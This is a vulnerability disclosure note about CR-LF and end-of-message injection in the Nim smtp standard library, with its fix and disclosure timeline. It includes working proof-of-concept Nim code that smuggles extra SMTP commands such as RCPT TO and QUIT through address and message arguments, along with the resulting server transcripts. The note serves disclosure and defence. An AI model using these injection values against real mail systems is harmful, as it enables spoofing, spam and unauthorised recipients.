Vulnerability Note
1 Summary
The following vulnerability note describes vulnerabilities found in the nim-lang smtp
standard library.
2 Details
2.1 Description
The nim standard library smtp
is vulnerable to multiple protocol character sequence injections (CR-LF
and CR-LF.CR-LF
). An injection is possible if the attacker controls any argument that is passed to the remote server such as any address (from
, to
, cc
), or the message itself.
2.2 Proof of Concept
1) CR-LF
injection in parameters to createMessage
and sendmail
note: \c\LSubject: [email protected]"
in mto
(note same works for mCc, ..
)
note: \c\LRCPT TO:<[email protected]>
in fromAddr
, toAddr
import smtp
var msg = createMessage("Hello from Nim's SMTP",
"test",
@["[email protected]\c\LSubject: [email protected]"])
echo msg
let smtpConn = newSmtp(useSsl = false, debug=true)
smtpConn.connect("localhost", Port 10001)
smtpConn.sendmail("[email protected]\c\LRCPT TO:<[email protected]>", @["[email protected]\c\LRCPT TO:<[email protected]>"], $msg)
Output:
⇒ nim c -r -d:ssl smtp_inject.nim
...
Hint: /Users/tintin/workspace/nim/test/issues/smtp_injection/smtp_inject [Exec]
TO: [email protected]
Subject: [email protected]
Subject: Hello from Nim's SMTP
test
S:220 fake smtpd
C:HELO localhost
S:250 ok
C:MAIL FROM:<[email protected]>
RCPT TO:<[email protected]>
S:250 ok
C:RCPT TO:<[email protected]>
RCPT TO:<[email protected]>
S:250 ok
C:DATA
S:354 End data with <CR><LF>.<CR><LF>
C:.
S:250 ok
⇒ nc -l 10001
220 fake smtpd
HELO localhost
250 ok
MAIL FROM:<[email protected]>
RCPT TO:<[email protected]>
250 ok
RCPT TO:<[email protected]>
RCPT TO:<[email protected]>
250 ok
DATA
354 End data with <CR><LF>.<CR><LF>
TO: [email protected]
Subject: [email protected]
Subject: Hello from Nim's SMTP
test
.
250 ok
2) msg-end injection in message: <CR><LF>.<CR><LF>
note: <CR><LF>.<CR><LF>
in message is not encoded and therefore allows to terminate the messsage early, injecting a command into the smtp stream.
import smtp
var msg = createMessage("Hello from Nim's SMTP",
"Hello!.\c\L\n Is this awesome or what?\c\L\c\L.\c\LQUIT", #EOF message injection in messagre. leading dot is not escaped
@["[email protected]"])
echo msg
let smtpConn = newSmtp(useSsl = false, debug=true)
smtpConn.connect("localhost", Port 10001)
smtpConn.sendmail("[email protected]>", @["[email protected]>"], $msg)
run:
Hint: /Users/tintin/workspace/nim/test/issues/smtp_injection/smtp_inject [Exec]
TO: [email protected]
Subject: Hello from Nim's SMTP
Hello!.
Is this awesome or what?
.
QUIT
S:220 fake smptd
C:HELO localhost
S:250 ok
C:MAIL FROM:<[email protected]>>
S:250 ok
C:RCPT TO:<[email protected]>>
S:250 ok
C:DATA
S:354 End data with <CR><LF>.<CR><LF>
C:.
S:250 ok
⇒ nc -l 10001
220 fake smptd
HELO localhost
250 ok
MAIL FROM:<[email protected]>>
250 ok
RCPT TO:<[email protected]>>
250 ok
DATA
354 End data with <CR><LF>.<CR><LF>
TO: [email protected]
Subject: Hello from Nim's SMTP
Hello!.
Is this awesome or what?
.
QUIT
.
250 ok
or using a simple SMTP debug server:
import smtpd
class SMTPTestServer(smtpd.SMTPServer):
def process_message(self, peer, mailfrom, rcpttos, data, **kwargs):
print(peer, mailfrom, rcpttos, data)
Note that the msg is cut off at CR-LF.CR-LF
and the next message is injected into the smtp stream.
⇒ python -m smtpd -n -c smtpdebug.SMTPTestServer localhost:10001
(('127.0.0.1', 49282), '[email protected]>', ['[email protected]>'], "TO: [email protected]\nSubject: Hello from Nim's SMTP\n\nHello!.\n\n Is this awesome or what?\n")
2.3 Proposed Fix
- properly validate all parameters used in the module. Do not allow any context sensitive characters of the underlying protocol
3 Vendor Response
Vendor response: fixed in v1.2.6 (Official Security Advisory)
3.1 Timeline
JUL/13/2020 - contact nim developers @telegram; provided details, PoC
MAR/26/2021 - vendor advisory (https://github.com/nim-lang/security/security/advisories/GHSA-p5f5-fxhh-qx3w), public disclosure